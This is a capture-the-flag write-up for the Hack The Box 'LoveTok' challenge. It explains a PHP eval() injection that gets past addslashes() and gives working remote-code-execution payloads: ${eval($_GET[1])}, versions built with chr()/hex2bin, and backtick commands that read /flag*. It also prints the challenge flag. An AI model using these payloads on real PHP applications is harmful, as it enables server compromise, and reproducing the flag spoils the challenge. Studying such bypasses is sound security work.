HTB challenge: LoveTok (php addslashes restricted quotes bypass)

The challenge

On a recent hackthebox challenge the following code required to be exploited to get the flag:
class TimeModel
public function __construct($format)
$this->format = addslashes($format);

[ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
$this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";

public function getTime()
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
return isset($time) ? $time : 'Something went terribly wrong';
The getTime() method is called upon passing the ‘format’ variable to the script, like this:
The challenge was, that when putting something to go through the $this->format property it actually gets filtered through addslashes().

The Solution(s!)

So we had two options:
  1. Either try to bypass the addslashes() quotes restriction
  2. Redeclare another variable on our own which does not get through the addslashes() php function.
After trying various things, which didn’t seem to work, I found the following article on Using complex variables to bypass the addlashes function to achieve RCE The initial payload formed from the data on the above article looks as following:${eva l($_GET[1])}&1=system(ls);
As the variable is actually self-defined and goes through eval, its result  is parsed and referenced through the php eval function on the challenge source code and does not actually go through the addslashes() function, at least not in a direct way. So we could use quotes in our self-referenced variable and the following way:${eval($_GET[1])}&1=system('ls%20../');${eval($_GET[1])}&1=system(‘ls%20../’); // addslashes quotes restriction bypass leading to RCE (Remote Code Execution)

Getting it further

After solving the challenge I wondered if there is a shorter path to to achieve remote code execution without the necessity of using the eval function. Initially my idea was to try some kind of hex-formed input which would get parsed as a string, which lead me to the following working addslashes restriction bypass payloads:${system(chr(105).chr(100))} <--- system(id)
# The payload below will not execute in case the hex representation contains letters${system(hex2bin(6964))} <-- system(id)${system(chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97))} <-- uname -a${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103).chr(42))} <-- flag
LoveTok hackthebox challenge – Getting the flag using addshashes() quotes restriction bypass
There seems to be even a shorter version of the above payload, provided by @ichkov and @alexgot1151, using  the ` quote character, leading to OS Command Injection, which is then printed to stdout using the php print function:${print(`id`)}${print(`cat /flag*`)}
Shoutouts to @gnomer0x for bringing new ideas and to @flame_n for following on them


There are various ways to bypass an addslashes() restriction filter when user input is provided to the eval() php function. There might even a broader attack surface as the addslashes restriction payload bypass described above might be applicable to other kind of attacks in some specific cases, such as an SQL Injection attack.   Flag: HTB{wh3n_l0v3_g3ts_eval3d_sh3lls_st4rt_p0pp1ng}